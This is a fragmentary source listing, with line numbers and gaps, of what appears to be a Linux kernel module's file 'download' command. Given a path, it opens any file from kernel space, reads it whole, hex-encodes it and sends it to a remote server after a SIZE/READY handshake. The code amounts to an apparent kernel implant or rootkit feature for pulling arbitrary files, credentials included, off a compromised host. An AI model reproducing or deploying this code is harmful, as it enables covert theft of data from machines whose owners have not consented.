16 DBG_MSG(
"reset_download_state: cleaning up memory\n");
25 if (protocol !=
TCP) {
26 DBG_MSG(
"download_handler: warning, protocol is not TCP\n");
29 if (!args || !*args) {
30 DBG_MSG(
"download_handler: missing file path argument\n");
35 DBG_MSG(
"download_handler: attempting to open file: %s\n", args);
36 struct file *filp = filp_open(args, O_RDONLY, 0);
38 ERR_MSG(
"download_handler: failed to open file %s\n", args);
44 int size = i_size_read(file_inode(filp));
45 DBG_MSG(
"download_handler: file size is %d\n", size);
48 filp_close(filp, NULL);
49 DBG_MSG(
"download_handler: file is empty or unreadable\n");
54 char *buffer = vmalloc(size);
56 filp_close(filp, NULL);
57 ERR_MSG(
"download_handler: memory allocation failed\n");
62 int read_bytes = kernel_read(filp, buffer, size, &pos);
63 filp_close(filp, NULL);
65 if (read_bytes != size) {
66 ERR_MSG(
"download_handler: read error (%d / %d)\n", read_bytes, size);
76 DBG_MSG(
"download_handler: file read successfully (%d bytes)\n", size);
79 snprintf(size_msg,
sizeof(size_msg),
"SIZE %ld\n",
download_size);
82 DBG_MSG(
"download_handler: waiting for READY before sending file\n");
88 DBG_MSG(
"download: received READY, starting file transfer (%ld bytes)\n",
93 char *hex_buffer = vmalloc(hex_size + 1);
95 ERR_MSG(
"download: failed to allocate hex buffer\n");
101 snprintf(hex_buffer + (i * 2), 3,
"%02x",
107 ERR_MSG(
"download: failed to send file\n");
115 DBG_MSG(
"download: command ignored or not in transfer mode\n");
#define ERR_MSG(fmt, args...)
#define DBG_MSG(fmt, args...)
static char * download_buffer
int download_handler(char *args, enum Protocol protocol)
void reset_download_state(void)
static long download_size
bool is_downloading(void)
static struct dentry * file
int send_to_server(enum Protocol protocol, char *message,...)
int send_to_server_raw(const char *data, size_t len)